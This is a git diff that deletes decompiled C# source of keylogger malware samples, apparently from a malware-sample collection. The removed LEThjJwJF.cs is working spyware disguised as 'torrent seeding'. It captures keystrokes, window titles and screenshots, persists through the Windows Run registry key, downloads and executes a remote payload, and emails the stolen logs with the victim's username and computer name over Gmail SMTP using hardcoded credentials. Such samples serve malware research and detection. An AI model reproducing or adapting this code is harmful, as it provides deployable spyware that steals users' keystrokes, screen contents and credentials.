cZkdyjVeCadUa( - int IQfuPopeadmOH, - int nkHNnaJaoUdDm, - int uKFzpLIZFdZDi, - int yyfdtYQjYwnyE, - int TXmfNknCbJidG, - int ydrfcKYZGIHBg, - int jYVVKluQyhlXS, - int syzJBImgfHJpL, - int ogmjZPOSklSDF); - - [DllImport("GDI32", EntryPoint = "DeleteDC", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SKQxIudJtxeLm(int lPEhsbbzNlzBj); - - [DllImport("GDI32", EntryPoint = "DeleteObject", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int KbcGJTzyRbzIY(int ELtjPHDItPXBI); - - public static void JDZnglJSpvkpO() - { - string str1 = "DISPLAY"; - ref string local1 = ref str1; - string str2 = ""; - ref string local2 = ref str2; - string str3 = ""; - ref string local3 = ref str3; - string str4 = ""; - ref string local4 = ref str4; - int num1 = SRBxUiHKAFOgn.YtuVfATsAsjrb(ref local1, ref local2, ref local3, ref local4); - int num2 = SRBxUiHKAFOgn.DxnDFIciPiwjY(num1); - SRBxUiHKAFOgn.RbYUdSxEwoFnG = SRBxUiHKAFOgn.OCQWxmFXUBoZV(num1, 8); - SRBxUiHKAFOgn.mtfegxEDtLPfn = SRBxUiHKAFOgn.OCQWxmFXUBoZV(num1, 10); - int WfOkIDlgiFzTf1 = SRBxUiHKAFOgn.gdOWCnTkayFnn(num1, SRBxUiHKAFOgn.RbYUdSxEwoFnG, SRBxUiHKAFOgn.mtfegxEDtLPfn); - int WfOkIDlgiFzTf2 = SRBxUiHKAFOgn.knXWnaRfWHrRb(num2, WfOkIDlgiFzTf1); - int num3 = SRBxUiHKAFOgn.cZkdyjVeCadUa(num2, 0, 0, SRBxUiHKAFOgn.RbYUdSxEwoFnG, SRBxUiHKAFOgn.mtfegxEDtLPfn, num1, 0, 0, 13369376); - int ELtjPHDItPXBI = SRBxUiHKAFOgn.knXWnaRfWHrRb(num2, WfOkIDlgiFzTf2); - num3 = SRBxUiHKAFOgn.SKQxIudJtxeLm(num1); - num3 = SRBxUiHKAFOgn.SKQxIudJtxeLm(num2); - SRBxUiHKAFOgn.EJfUQWzljbDzy = Image.FromHbitmap(new IntPtr(ELtjPHDItPXBI)); - SRBxUiHKAFOgn.KbcGJTzyRbzIY(ELtjPHDItPXBI); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/Trojan-Spy.MSIL.KeyLogger.aqg.csproj b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/Trojan-Spy.MSIL.KeyLogger.aqg.csproj deleted file mode 100644 index 849ccdfe..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/Trojan-Spy.MSIL.KeyLogger.aqg.csproj +++ /dev/null @@ -1,47 +0,0 @@ - - - - - Debug - AnyCPU - {4C18C0BC-79DE-4D80-B6C9-A4A069ABE64D} - WinExe - dfasdfasdfa - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/Trojan-Spy.MSIL.KeyLogger.aqg.sln b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/Trojan-Spy.MSIL.KeyLogger.aqg.sln deleted file mode 100644 index 0a2f5415..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/Trojan-Spy.MSIL.KeyLogger.aqg.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "dfasdfasdfa", "Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2.csproj", "{4C18C0BC-79DE-4D80-B6C9-A4A069ABE64D}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {4C18C0BC-79DE-4D80-B6C9-A4A069ABE64D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {4C18C0BC-79DE-4D80-B6C9-A4A069ABE64D}.Debug|Any CPU.Build.0 = Debug|Any CPU - {4C18C0BC-79DE-4D80-B6C9-A4A069ABE64D}.Release|Any CPU.ActiveCfg = Release|Any CPU - {4C18C0BC-79DE-4D80-B6C9-A4A069ABE64D}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/LEThjJwJF.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/LEThjJwJF.cs deleted file mode 100644 index dfca814f..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/LEThjJwJF.cs +++ /dev/null @@ -1,699 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: LEThjJwJF -// Assembly: torrent seeding, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 198D2D35-528E-4E59-8C51-F602B2216010 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing.Imaging; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Threading; -using System.Windows.Forms; - -[StandardModule] -internal sealed class LEThjJwJF -{ - public static Mutex LBfEuNPwTuuGhr; - public static string jxjVBchppIcvKk = "KrvSGxBAr"; - [AccessedThroughProperty("IsaTynXgGxhXII")] - private static jBcGFYzTOTtD _IsaTynXgGxhXII; - public static string vyRLXDeEXvPQWn; - public static string zcgrfBtxzmomgI; - public static string EoCOQxuJnJYDws; - public static string tukiwEOEDyaPnz; - public static Thread oLCEyJcnQskyYp; - public static string CybgAJgPgyekGj; - public static Process dmflrmsAYJCk; - [AccessedThroughProperty("EyIcVuCUlomd")] - private static System.Windows.Forms.Timer _EyIcVuCUlomd; - private const int ttGxniuprKER = 7; - private const int dnJJcXJyIKwv = 1; - private const int chNGLvHhzbVi = 0; - public static string yULbvlLsrZrn; - public static string HJFsnADcnlfF; - public static string lBWTnexoOosx; - public static int EEUyKgrhVkOz; - public static int sAocURHikwJC; - public static LEThjJwJF.eGKfVnKcdYRn jdVavzkBTWiZ; - public static string zkssvUfPYYyr; - public static bool UjSkGpjtQnYe; - public static bool cFgPcDbDdHZd; - public static bool ofcThDZWxwfp; - public static string NCfFJcIQQiBa; - public static string OJtpurEVdlZm; - public static string dStiBDFNfOUB; - public static string vrApfUzWXEVJ; - public static int cJTbrezvzIab; - public static bool oBhrFKfGANgn; - - static LEThjJwJF() - { - LEThjJwJF.IsaTynXgGxhXII = new jBcGFYzTOTtD(); - LEThjJwJF.EoCOQxuJnJYDws = "VzWJrYnjU"; - LEThjJwJF.tukiwEOEDyaPnz = "OghDDYNXd.exe"; - LEThjJwJF.EyIcVuCUlomd = new System.Windows.Forms.Timer(); - LEThjJwJF.yULbvlLsrZrn = "uyirvanilog@gmail.com"; - LEThjJwJF.HJFsnADcnlfF = "passwordis1"; - LEThjJwJF.lBWTnexoOosx = "smtp.gmail.com"; - LEThjJwJF.EEUyKgrhVkOz = 587; - LEThjJwJF.sAocURHikwJC = 2; - LEThjJwJF.jdVavzkBTWiZ = (LEThjJwJF.eGKfVnKcdYRn) 0; - LEThjJwJF.zkssvUfPYYyr = ""; - LEThjJwJF.UjSkGpjtQnYe = true; - LEThjJwJF.cFgPcDbDdHZd = false; - LEThjJwJF.ofcThDZWxwfp = false; - LEThjJwJF.NCfFJcIQQiBa = ""; - LEThjJwJF.OJtpurEVdlZm = ""; - LEThjJwJF.dStiBDFNfOUB = "Title"; - LEThjJwJF.vrApfUzWXEVJ = "Message"; - LEThjJwJF.cJTbrezvzIab = 0; - LEThjJwJF.oBhrFKfGANgn = false; - } - - public static jBcGFYzTOTtD IsaTynXgGxhXII - { - get => LEThjJwJF._IsaTynXgGxhXII; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - jBcGFYzTOTtD.XUZJkEDoGvEtEventHandler gvEtEventHandler = new jBcGFYzTOTtD.XUZJkEDoGvEtEventHandler(LEThjJwJF.TbHptfJVlPGe); - if (LEThjJwJF._IsaTynXgGxhXII != null) - jBcGFYzTOTtD.XUZJkEDoGvEt -= gvEtEventHandler; - LEThjJwJF._IsaTynXgGxhXII = value; - if (LEThjJwJF._IsaTynXgGxhXII == null) - return; - jBcGFYzTOTtD.XUZJkEDoGvEt += gvEtEventHandler; - } - } - - public static System.Windows.Forms.Timer EyIcVuCUlomd - { - get => LEThjJwJF._EyIcVuCUlomd; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(LEThjJwJF.thTFrrRkvWHn); - if (LEThjJwJF._EyIcVuCUlomd != null) - LEThjJwJF._EyIcVuCUlomd.Tick -= eventHandler; - LEThjJwJF._EyIcVuCUlomd = value; - if (LEThjJwJF._EyIcVuCUlomd == null) - return; - LEThjJwJF._EyIcVuCUlomd.Tick += eventHandler; - } - } - - [DllImport("kernel32.dll", EntryPoint = "GetConsoleWindow", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr NielECEcSDPK(); - - [DllImport("user32.dll", EntryPoint = "ShowWindow", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int NlQvLavEFEvQ(IntPtr dUmPZzjhoEdT, int zAmaPJUJpFsV); - - [DllImport("user32.dll", EntryPoint = "GetForegroundWindow", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int IluatbVEQBdx(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int chQoWBRXObLt( - int dUmPZzjhoEdT, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string JLQodkGrWJGk, - int BFPXAviVGLcw); - - private static string ppQcuhISQaZx() - { - string JLQodkGrWJGk = new string(char.MinValue, 100); - LEThjJwJF.chQoWBRXObLt(LEThjJwJF.IluatbVEQBdx(), ref JLQodkGrWJGk, 100); - return JLQodkGrWJGk.Substring(0, checked (Strings.InStr(JLQodkGrWJGk, "\0") - 1)); - } - - public static void WkAggalwHDhL(string cFHbtclKjGoY, string VfCuNIYXTfSt) - { - RegistryKey subKey = Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); - subKey.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); - subKey.SetValue(cFHbtclKjGoY, (object) VfCuNIYXTfSt); - } - - public static void OZdVSbQJDxak(string cFHbtclKjGoY) - { - RegistryKey subKey = Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); - subKey.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); - subKey.DeleteValue(cFHbtclKjGoY, false); - } - - public static void voUusLQaNmwv(string hJZFauwoxaBA) - { - try - { - Mutex.OpenExisting(hJZFauwoxaBA); - ProjectData.EndApp(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - LEThjJwJF.LBfEuNPwTuuGhr = new Mutex(false, hJZFauwoxaBA); - ProjectData.ClearProjectError(); - } - } - - public static string RsszTlWvTrEs(int BCNDcFNgpLwl, int LuuhcRjjFjxc) - { - Random random = new Random(); - string str1 = (string) null; - string str2 = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPLKHJJGFDSAZXCVBNM"; - int num1 = random.Next(checked (BCNDcFNgpLwl + 1), LuuhcRjjFjxc); - int num2 = 1; - while (num2 <= num1) - { - int index = checked ((int) Math.Round((double) unchecked (Conversion.Int((float) checked (str2.Length - 2) * VBMath.Rnd()) + 1f))); - str1 += Conversions.ToString(str2[index]); - checked { ++num2; } - } - return str1; - } - - private static void TbHptfJVlPGe(string GmsYXVOwOBwV) - { - if (Operators.CompareString(LEThjJwJF.zcgrfBtxzmomgI, LEThjJwJF.ppQcuhISQaZx(), false) != 0) - { - LEThjJwJF.vyRLXDeEXvPQWn = LEThjJwJF.vyRLXDeEXvPQWn + "\r\n[TITLE: " + LEThjJwJF.ppQcuhISQaZx() + "]:\r\n"; - LEThjJwJF.zcgrfBtxzmomgI = LEThjJwJF.ppQcuhISQaZx(); - Console.WriteLine("\r\n[TITLE: " + LEThjJwJF.ppQcuhISQaZx() + "]:"); - } - LEThjJwJF.vyRLXDeEXvPQWn += GmsYXVOwOBwV; - Console.Write(GmsYXVOwOBwV); - } - - private static void thTFrrRkvWHn(object ktcTJTOFvGKL, EventArgs HaJtfVFdafCg) - { - Console.WriteLine("A new log is sending..."); - new Thread((ParameterizedThreadStart) (a0 => LEThjJwJF.zsTIotIDIvaQ(Conversions.ToString(a0)))) - { - IsBackground = true - }.Start((object) LEThjJwJF.vyRLXDeEXvPQWn); - LEThjJwJF.vyRLXDeEXvPQWn = ""; - } - - private static void zsTIotIDIvaQ(string BJxmEPeOZluv) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - string str = Path.GetTempPath() + "\\" + LEThjJwJF.RsszTlWvTrEs(5, 10) + ".png"; -label_2: - num3 = 3; - if (!LEThjJwJF.UjSkGpjtQnYe) - goto label_7; -label_3: - num3 = 4; - sfNwkKhkokmC.HrRbWfO(); -label_4: - num3 = 5; - if (!System.IO.File.Exists(str)) - goto label_6; -label_5: - num3 = 6; - System.IO.File.Delete(str); -label_6: - num3 = 8; - sfNwkKhkokmC.OCQWxmF.Save(str, ImageFormat.Png); -label_7: - num3 = 10; - MailMessage message = new MailMessage(); -label_8: - num3 = 11; - SmtpClient smtpClient1 = new SmtpClient(LEThjJwJF.lBWTnexoOosx); -label_9: - num3 = 12; - SmtpClient smtpClient2 = smtpClient1; -label_10: - num3 = 13; - smtpClient2.EnableSsl = true; -label_11: - num3 = 14; - smtpClient2.Credentials = (ICredentialsByHost) new NetworkCredential(LEThjJwJF.yULbvlLsrZrn, LEThjJwJF.HJFsnADcnlfF); -label_12: - num3 = 15; - smtpClient2.Port = LEThjJwJF.EEUyKgrhVkOz; -label_13: - smtpClient2 = (SmtpClient) null; -label_14: - num3 = 17; - MailMessage mailMessage = message; -label_15: - num3 = 18; - mailMessage.To.Add(LEThjJwJF.yULbvlLsrZrn); -label_16: - num3 = 19; - mailMessage.From = new MailAddress(LEThjJwJF.yULbvlLsrZrn); -label_17: - num3 = 20; - mailMessage.Subject = LEThjJwJF.zkssvUfPYYyr; -label_18: - num3 = 21; - mailMessage.Body = BJxmEPeOZluv; -label_19: - num3 = 22; - if (!LEThjJwJF.UjSkGpjtQnYe) - goto label_21; -label_20: - num3 = 23; - mailMessage.Attachments.Add(new Attachment(str)); -label_21: - num3 = 25; - if (!LEThjJwJF.ofcThDZWxwfp) - goto label_23; -label_22: - num3 = 26; - mailMessage.Body = "Victim Username: " + LEThjJwJF.INjfAiTYULSy().ToString() + "\r\n" + mailMessage.Body; -label_23: - num3 = 28; - if (!LEThjJwJF.cFgPcDbDdHZd) - goto label_25; -label_24: - num3 = 29; - mailMessage.Body = "Victim Computer Name: " + MyProject.Computer.Name + "\r\n" + mailMessage.Body; -label_25: - mailMessage = (MailMessage) null; -label_26: - num3 = 32; - smtpClient1.Send(message); -label_27: - num3 = 33; - Console.WriteLine("##### Logs have been sent! #####"); - goto label_34; -label_29: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - case 8: - goto label_6; - case 9: - case 10: - goto label_7; - case 11: - goto label_8; - case 12: - goto label_9; - case 13: - goto label_10; - case 14: - goto label_11; - case 15: - goto label_12; - case 16: - goto label_13; - case 17: - goto label_14; - case 18: - goto label_15; - case 19: - goto label_16; - case 20: - goto label_17; - case 21: - goto label_18; - case 22: - goto label_19; - case 23: - goto label_20; - case 24: - case 25: - goto label_21; - case 26: - goto label_22; - case 27: - case 28: - goto label_23; - case 29: - goto label_24; - case 30: - case 31: - goto label_25; - case 32: - goto label_26; - case 33: - goto label_27; - case 34: - goto label_34; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_29; - } - throw ProjectData.CreateProjectError(-2146828237); -label_34: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private static void NBAWOnoIUSzr() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - WebClient webClient = new WebClient(); -label_2: - num3 = 3; - Uri address = new Uri(LEThjJwJF.NCfFJcIQQiBa); -label_3: - num3 = 4; - LEThjJwJF.CybgAJgPgyekGj = Path.GetTempPath() + "\\" + LEThjJwJF.RsszTlWvTrEs(5, 10) + ".exe"; -label_4: - num3 = 5; - webClient.DownloadFileCompleted += new AsyncCompletedEventHandler(LEThjJwJF.YPuOHJbyQTtv); -label_5: - num3 = 6; - webClient.DownloadFileAsync(address, LEThjJwJF.CybgAJgPgyekGj); - goto label_12; -label_7: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_12; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_7; - } - throw ProjectData.CreateProjectError(-2146828237); -label_12: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private static void YPuOHJbyQTtv(object ktcTJTOFvGKL, AsyncCompletedEventArgs HaJtfVFdafCg) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - Process process = new Process(); -label_2: - num3 = 3; - ProcessStartInfo processStartInfo = process.StartInfo; -label_3: - num3 = 4; - processStartInfo.FileName = LEThjJwJF.CybgAJgPgyekGj; -label_4: - num3 = 5; - processStartInfo.UseShellExecute = true; -label_5: - processStartInfo = (ProcessStartInfo) null; -label_6: - num3 = 7; - process.Start(); - goto label_13; -label_8: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_13; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_8; - } - throw ProjectData.CreateProjectError(-2146828237); -label_13: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private static string INjfAiTYULSy() - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); - string str = folderPath.Remove(folderPath.LastIndexOf("\\")); - return str.Substring(checked (str.LastIndexOf("\\") + 1)); - } - - [STAThread] - public static void Main() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - LEThjJwJF.voUusLQaNmwv(LEThjJwJF.jxjVBchppIcvKk); -label_2: - num3 = 3; - System.Windows.Forms.Timer timer = LEThjJwJF.EyIcVuCUlomd; -label_3: - num3 = 4; - timer.Interval = checked (LEThjJwJF.sAocURHikwJC * int.Parse(Conversions.ToString(unchecked ((int) LEThjJwJF.jdVavzkBTWiZ)))); -label_4: - num3 = 5; - timer.Start(); -label_5: - timer = (System.Windows.Forms.Timer) null; -label_6: - num3 = 7; - LEThjJwJF.oLCEyJcnQskyYp = new Thread(new ThreadStart(LEThjJwJF.NBAWOnoIUSzr)); -label_7: - num3 = 8; - Thread thread = LEThjJwJF.oLCEyJcnQskyYp; -label_8: - num3 = 9; - thread.IsBackground = true; -label_9: - num3 = 10; - thread.Start(); -label_10: - thread = (Thread) null; -label_11: - num3 = 12; - LEThjJwJF.dmflrmsAYJCk = new Process(); -label_12: - num3 = 13; - Process process = LEThjJwJF.dmflrmsAYJCk; -label_13: - num3 = 14; - process.StartInfo.FileName = LEThjJwJF.OJtpurEVdlZm; -label_14: - num3 = 15; - process.StartInfo.UseShellExecute = true; -label_15: - num3 = 16; - process.Start(); -label_16: - process = (Process) null; -label_17: - num3 = 18; - if (!LEThjJwJF.oBhrFKfGANgn) - goto label_19; -label_18: - num3 = 19; - int num4 = (int) Interaction.MsgBox((object) LEThjJwJF.vrApfUzWXEVJ, (MsgBoxStyle) LEThjJwJF.cJTbrezvzIab, (object) LEThjJwJF.dStiBDFNfOUB); -label_19: - num3 = 21; - Console.WriteLine("SkyNeos V1.0 Keylogger Engine Started Successfully!"); -label_20: - num3 = 22; - string str = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); -label_21: - num3 = 23; - MyProject.Computer.FileSystem.CreateDirectory(str + "\\" + LEThjJwJF.EoCOQxuJnJYDws); -label_22: - num3 = 24; - str = str + "\\" + LEThjJwJF.EoCOQxuJnJYDws + "\\" + LEThjJwJF.tukiwEOEDyaPnz; -label_23: - num3 = 25; - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, str, true); -label_24: - num3 = 26; - LEThjJwJF.WkAggalwHDhL(LEThjJwJF.EoCOQxuJnJYDws, str); -label_25: - num3 = 27; - LEThjJwJF.IsaTynXgGxhXII.OhAHcyUuPjyI(); -label_26: - num3 = 28; - Application.Run(); - goto label_33; -label_28: - num2 = num3; - switch (num1) - { - case 1: - int num5 = num2 + 1; - num2 = 0; - switch (num5) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - goto label_12; - case 14: - goto label_13; - case 15: - goto label_14; - case 16: - goto label_15; - case 17: - goto label_16; - case 18: - goto label_17; - case 19: - goto label_18; - case 20: - case 21: - goto label_19; - case 22: - goto label_20; - case 23: - goto label_21; - case 24: - goto label_22; - case 25: - goto label_23; - case 26: - goto label_24; - case 27: - goto label_25; - case 28: - goto label_26; - case 29: - goto label_33; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_28; - } - throw ProjectData.CreateProjectError(-2146828237); -label_33: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public enum eGKfVnKcdYRn - { - XCQZTvFHZoJO = 1, - XDJJmHRpjnZA = 1000, // 0x000003E8 - xBQNbJjyATSF = 60000, // 0x0000EA60 - JCrDdhrXNgEl = 3600000, // 0x0036EE80 - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/My/MyApplication.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/My/MyApplication.cs deleted file mode 100644 index 4269e800..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: torrent seeding, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 198D2D35-528E-4E59-8C51-F602B2216010 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/My/MyComputer.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/My/MyComputer.cs deleted file mode 100644 index 306b13b2..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: torrent seeding, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 198D2D35-528E-4E59-8C51-F602B2216010 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/My/MyProject.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/My/MyProject.cs deleted file mode 100644 index f47b68c2..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/My/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: torrent seeding, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 198D2D35-528E-4E59-8C51-F602B2216010 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [HideModuleName] - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class MyProject - { - private static readonly 